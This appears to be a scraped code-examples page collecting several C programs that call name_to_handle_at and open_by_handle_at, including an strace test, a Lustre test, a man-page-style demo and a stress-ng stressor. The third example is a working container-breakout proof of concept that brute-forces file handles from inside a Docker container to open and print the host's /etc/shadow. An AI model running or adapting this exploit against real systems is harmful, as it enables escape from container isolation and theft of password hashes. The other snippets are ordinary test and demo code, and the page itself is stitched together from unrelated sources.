int
main(void)
{
	struct file_handle *handle =
		alloca(sizeof(struct file_handle) + MAX_HANDLE_SZ);
	const int dirfd = AT_FDCWD;
	const int flags = AT_SYMLINK_FOLLOW;
	int mount_id;
	unsigned int i;

	handle->handle_bytes = 0;

	assert(name_to_handle_at(dirfd, ".", handle, &mount_id, flags | 1) == -1);
	if (EINVAL != errno)
		perror_msg_and_skip("name_to_handle_at");
	printf("name_to_handle_at(AT_FDCWD, \".\", {handle_bytes=0}, %p"
	       ", AT_SYMLINK_FOLLOW|0x1) = -1 EINVAL (%m)\n", &mount_id);

	assert(name_to_handle_at(dirfd, ".", handle, &mount_id, flags) == -1);
	if (EOVERFLOW != errno)
		perror_msg_and_skip("name_to_handle_at");
	printf("name_to_handle_at(AT_FDCWD, \".\", {handle_bytes=0 => %u}"
	       ", %p, AT_SYMLINK_FOLLOW) = -1 EOVERFLOW (%m)\n",
	       handle->handle_bytes, &mount_id);

	assert(name_to_handle_at(dirfd, ".", handle, &mount_id, flags) == 0);
	printf("name_to_handle_at(AT_FDCWD, \".\", {handle_bytes=%u"
	       ", handle_type=%d, f_handle=0x",
	       handle->handle_bytes, handle->handle_type);
	for (i = 0; i < handle->handle_bytes; ++i)
		printf("%02x", handle->f_handle[i]);
	printf("}, [%d], AT_SYMLINK_FOLLOW) = 0\n", mount_id);

	printf("open_by_handle_at(-1, {handle_bytes=%u, handle_type=%d"
	       ", f_handle=0x", handle->handle_bytes, handle->handle_type);
	for (i = 0; i < handle->handle_bytes; ++i)
		printf("%02x", handle->f_handle[i]);
	printf("}, O_RDONLY|O_DIRECTORY) = -1 ");
	assert(open_by_handle_at(-1, handle, O_RDONLY | O_DIRECTORY) == -1);
	const char *errno_text;
	switch (errno) {
		case EPERM:
			errno_text = "EPERM";
			break;
		case EINVAL:
			errno_text = "EINVAL";
			break;
		default:
			errno_text = "EBADF";
	}
	printf("%s (%m)\n", errno_text);

	puts("+++ exited with 0 +++");
	return 0;
}
int main(int argc, char **argv)
{
#ifdef HAVE_FHANDLE_SYSCALLS
	char *filename, *file, *mount_point = NULL, *readbuf = NULL;
	int ret, rc = -EINVAL, mnt_id, mnt_fd, fd1, fd2, i, len, offset;
	struct file_handle *fh = NULL;
	int file_size, mtime, ctime;
	struct lu_fid *parent, *fid;
	struct mntent *ent;
	struct stat st;
	__ino_t inode;
	FILE *mntpt;

	if (argc != 2)
		usage(argv[0]);

	file = argv[1];
	if (file[0] != '/') {
		fprintf(stderr, "Need the absolete path of the file\n");
		goto out;
	}

	fd1 = open(file, O_RDONLY);
	if (fd1 < 0) {
		fprintf(stderr, "open file %s error: %s\n",
			file, strerror(errno));
		rc = errno;
		goto out;
	}

	/* Get file stats using fd1 from traditional open */
	bzero(&st, sizeof(struct stat));
	rc = fstat(fd1, &st);
	if (rc < 0) {
		fprintf(stderr, "fstat(%s) error: %s\n", file,
			strerror(errno));
		rc = errno;
		goto out_fd1;
	}

	inode = st.st_ino;
	mtime = st.st_mtime;
	ctime = st.st_ctime;
	file_size = st.st_size;

	/* Now for the setup to use fhandles */
	mntpt = setmntent("/etc/mtab", "r");
	if (mntpt == NULL) {
		fprintf(stderr, "setmntent error: %s\n",
			strerror(errno));
		rc = errno;
		goto out_fd1;
	}

	while (NULL != (ent = getmntent(mntpt))) {
		if ((strncmp(file, ent->mnt_dir, strlen(ent->mnt_dir)) == 0) &&
		    (strcmp(ent->mnt_type, "lustre") == 0)) {
			mount_point = ent->mnt_dir;
			break;
		}
	}
	endmntent(mntpt);

	if (mount_point == NULL) {
		fprintf(stderr, "file is not located on a lustre file "
			"system?\n");
		goto out_fd1;
	}

	filename = rindex(file, '/') + 1;

	/* Open mount point directory */
	mnt_fd = open(mount_point, O_DIRECTORY);
	if (mnt_fd < 0) {
		fprintf(stderr, "open(%s) error: %s\n)", mount_point,
			strerror(errno));
		rc = errno;
		goto out_fd1;
	}

	/* Allocate memory for file handle */
	fh = malloc(sizeof(struct file_handle) + MAX_HANDLE_SZ);
	if (!fh) {
		fprintf(stderr, "malloc(%d) error: %s\n", MAX_HANDLE_SZ,
			strerror(errno));
		rc = errno;
		goto out_mnt_fd;
	}
	fh->handle_bytes = MAX_HANDLE_SZ;

	/* Convert name to handle */
	ret = name_to_handle_at(mnt_fd, filename, fh, &mnt_id,
				AT_SYMLINK_FOLLOW);
	if (ret) {
		fprintf(stderr, "name_by_handle_at(%s) error: %s\n", filename,
			strerror(errno));
		rc = errno;
		goto out_f_handle;
	}

	/* Print out the contents of the file handle */
	fprintf(stdout, "fh_bytes: %u\nfh_type: %d\nfh_data: ",
		fh->handle_bytes, fh->handle_type);
	for (i = 0; i < fh->handle_bytes; i++)
		fprintf(stdout, "%02x ", fh->f_handle[i]);
	fprintf(stdout, "\n");

	/* Lustre stores both the parents FID and the file FID
	 * in the f_handle. */
	parent = (struct lu_fid *)(fh->f_handle + 16);
	fid = (struct lu_fid *)fh->f_handle;
	fprintf(stdout, "file's parent FID is "DFID"\n", PFID(parent));
	fprintf(stdout, "file FID is "DFID"\n", PFID(fid));

	/* Open the file handle */
	fd2 = open_by_handle_at(mnt_fd, fh, O_RDONLY);
	if (fd2 < 0) {
		fprintf(stderr, "open_by_handle_at(%s) error: %s\n", filename,
			strerror(errno));
		rc = errno;
		goto out_f_handle;
	}

	/* Get file size */
	bzero(&st, sizeof(struct stat));
	rc = fstat(fd2, &st);
	if (rc < 0) {
		fprintf(stderr, "fstat(%s) error: %s\n", filename,
			strerror(errno));
		rc = errno;
		goto out_fd2;
	}

	if (ctime != st.st_ctime || file_size != st.st_size ||
	    inode != st.st_ino || mtime != st.st_mtime) {
		fprintf(stderr, "stat data does not match between fopen "
			"and fhandle case\n");
		goto out_fd2;
	}

	if (st.st_size) {
		len = st.st_blksize;
		readbuf = malloc(len);
		if (readbuf == NULL) {
			fprintf(stderr, "malloc(%d) error: %s\n", len,
				strerror(errno));
			rc = errno;
			goto out_fd2;
		}

		for (offset = 0; offset < st.st_size; offset += len) {
			/* read from the file */
			rc = read(fd2, readbuf, len);
			if (rc < 0) {
				fprintf(stderr, "read(%s) error: %s\n",
					filename, strerror(errno));
				rc = errno;
				goto out_readbuf;
			}
		}
	}

	rc = 0;
	fprintf(stdout, "check_fhandle_syscalls test Passed!\n");

out_readbuf:
	if (readbuf != NULL)
		free(readbuf);
out_fd2:
	close(fd2);
out_f_handle:
	free(fh);
out_mnt_fd:
	close(mnt_fd);
out_fd1:
	close(fd1);
out:
	return rc;
#else /* !HAVE_FHANDLE_SYSCALLS */
	if (argc != 2)
		usage(argv[0]);

	fprintf(stderr, "HAVE_FHANDLE_SYSCALLS not defined\n");
	return 0;
#endif /* HAVE_FHANDLE_SYSCALLS */
}
Esempio n. 3
0
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
	int fd;
	uint32_t ino = 0;
	struct my_file_handle outh = {
		.handle_bytes = 8,
		.handle_type = 1
	};
	DIR *dir = NULL;
	struct dirent *de = NULL;

	path = strchr(path, '/');

	// recursion stops if path has been resolved
	if (!path) {
		memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
		oh->handle_type = 1;
		oh->handle_bytes = 8;
		return 1;
	}
	++path;
	fprintf(stderr, "[*] Resolving '%s'\n", path);

	if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
		die("[-] open_by_handle_at");

	if ((dir = fdopendir(fd)) == NULL)
		die("[-] fdopendir");

	for (;;) {
		de = readdir(dir);
		if (!de)
			break;
		fprintf(stderr, "[*] Found %s\n", de->d_name);
		if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
			fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
			ino = de->d_ino;
			break;
		}
	}

	fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");


	if (de) {
		for (uint32_t i = 0; i < 0xffffffff; ++i) {
			outh.handle_bytes = 8;
			outh.handle_type = 1;
			memcpy(outh.f_handle, &ino, sizeof(ino));
			memcpy(outh.f_handle + 4, &i, sizeof(i));

			if ((i % (1<<20)) == 0)
				fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
			if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
				closedir(dir);
				close(fd);
				dump_handle(&outh);
				return find_handle(bfd, path, &outh, oh);
			}
		}
	}

	closedir(dir);
	close(fd);
	return 0;
}


int main()
{
	char buf[0x1000];
	int fd1, fd2;
	struct my_file_handle h;
	struct my_file_handle root_h = {
		.handle_bytes = 8,
		.handle_type = 1,
		.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
	};

	fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014             [***]\n"
	       "[***] The tea from the 90's kicks your sekurity again.     [***]\n"
	       "[***] If you have pending sec consulting, I'll happily     [***]\n"
	       "[***] forward to my friends who drink secury-tea too!      [***]\n\n<enter>\n");

	read(0, buf, 1);

	// get a FS reference from something mounted in from outside
	if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
		die("[-] open");

	if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
		die("[-] Cannot find valid handle!");

	fprintf(stderr, "[!] Got a final handle!\n");
	dump_handle(&h);

	if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
		die("[-] open_by_handle");

	memset(buf, 0, sizeof(buf));
	if (read(fd2, buf, sizeof(buf) - 1) < 0)
		die("[-] read");

	fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);

	close(fd2); close(fd1);

	return 0;
}
Esempio n. 4
0
int main(int argc, char *argv[]) {
    struct file_handle *fhp;
    int mount_id, fhsize, flags, dirfd, j;
    char *pathname;

    if (argc != 2) {
        fprintf(stderr, "Usage: %s pathname\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    pathname = argv[1];

    /* Allocate file_handle structure */
    fhsize = sizeof(*fhp);
    fhp = malloc(fhsize);
    if (fhp == NULL)
        errExit("malloc");

    /* Make an initial call to name_to_handle_at() to discover
       the size required for file handle */
    dirfd = AT_FDCWD;           /* For name_to_handle_at() calls */
    flags = 0;                  /* For name_to_handle_at() calls */
    fhp->handle_bytes = 0;
    if (name_to_handle_at(dirfd, pathname, fhp,
                          &mount_id, flags) != -1 || errno != EOVERFLOW) {
        fprintf(stderr, "Unexpected result from name_to_handle_at()\n");
        exit(EXIT_FAILURE);
    }

    /* Reallocate file_handle structure with correct size */
    fhsize = sizeof(struct file_handle) + fhp->handle_bytes;
    fhp = realloc(fhp, fhsize);         /* Copies fhp->handle_bytes */
    if (fhp == NULL)
        errExit("realloc");

    /* Get file handle from pathname supplied on command line */
    if (name_to_handle_at(dirfd, pathname, fhp, &mount_id, flags) == -1)
        errExit("name_to_handle_at");

    /* Write mount ID, file handle size, and file handle to stdout,
       for later reuse by t_open_by_handle_at.c */

    printf("%d\n", mount_id);
    printf("%d %d   ", fhp->handle_bytes, fhp->handle_type);
    for (j = 0; j < fhp->handle_bytes; j++)
        printf(" %02x", fhp->f_handle[j]);
    printf("\n");

    // Open file
    int fd = open_by_handle_at(AT_FDCWD, fhp, O_RDONLY);
    char a[1024];
    int r = read(fd, a, 1000);
    printf("%d > %s [%d]\n", fd, a, r);
    for(int i = 0; i < r; i++) {
        printf("%02x", a[i] & 0xff);
    }
    printf("\n");
    for(int i = 0; i < r; i++) {
        printf("%02x ", a[i] & 0xff);
    }
    printf("\n");
    printf("END\n");

    exit(EXIT_SUCCESS);
}
Esempio n. 5
0
/*
 *  stress_handle()
 *	stress system by rapid open/close calls via
 *	name_to_handle_at and open_by_handle_at
 */
int stress_handle(
	uint64_t *const counter,
	const uint32_t instance,
	const uint64_t max_ops,
	const char *name)
{
	int mounts;

	(void)instance;

	if ((mounts = get_mount_info(name)) < 0) {
		pr_fail(stderr, "%s: failed to parse /proc/self/mountinfo\n", name);
		return EXIT_FAILURE;
	}

	do {
		struct file_handle *fhp, *tmp;
		int mount_id, mount_fd, fd, i;

		if ((fhp = malloc(sizeof(*fhp))) == NULL)
			continue;

		fhp->handle_bytes = 0;
		if ((name_to_handle_at(AT_FDCWD, FILENAME, fhp, &mount_id, 0) != -1) &&
		    (errno != EOVERFLOW)) {
			pr_fail(stderr, "%s: name_to_handle_at: failed to get file handle size: errno=%d (%s)\n",
				name, errno, strerror(errno));
			free(fhp);
			break;
		}
		tmp = realloc(fhp, sizeof(struct file_handle) + fhp->handle_bytes);
		if (tmp == NULL) {
			free(fhp);
			continue;
		}
		fhp = tmp;
		if (name_to_handle_at(AT_FDCWD, FILENAME, fhp, &mount_id, 0) < 0) {
			pr_fail(stderr, "%s: name_to_handle_at: failed to get file handle: errno=%d (%s)\n",
				name, errno, strerror(errno));
			free(fhp);
			break;
		}

		mount_fd = -2;
		for (i = 0; i < mounts; i++) {
			if (mount_info[i].mount_id == mount_id) {
				mount_fd = open(mount_info[i].mount_path, O_RDONLY);
				break;
			}
		}
		if (mount_fd == -2) {
			pr_fail(stderr, "%s: cannot find mount id %d\n", name, mount_id);
			free(fhp);
			break;
		}
		if (mount_fd < 0) {
			pr_fail(stderr, "%s: failed to open mount path '%s': errno=%d (%s)\n",
				name, mount_info[i].mount_path, errno, strerror(errno));
			free(fhp);
			break;
		}
		if ((fd = open_by_handle_at(mount_fd, fhp, O_RDONLY)) < 0) {
			/* We don't abort if EPERM occurs, that's not a test failure */
			if (errno != EPERM) {
				pr_fail(stderr, "%s: open_by_handle_at: failed to open: errno=%d (%s)\n",
					name, errno, strerror(errno));
				(void)close(mount_fd);
				free(fhp);
				break;
			}
		} else {
			(void)close(fd);
		}
		(void)close(mount_fd);
		free(fhp);
	} while (opt_do_run && (!max_ops || *counter < max_ops));

	free_mount_info(mounts);

	return EXIT_SUCCESS;
}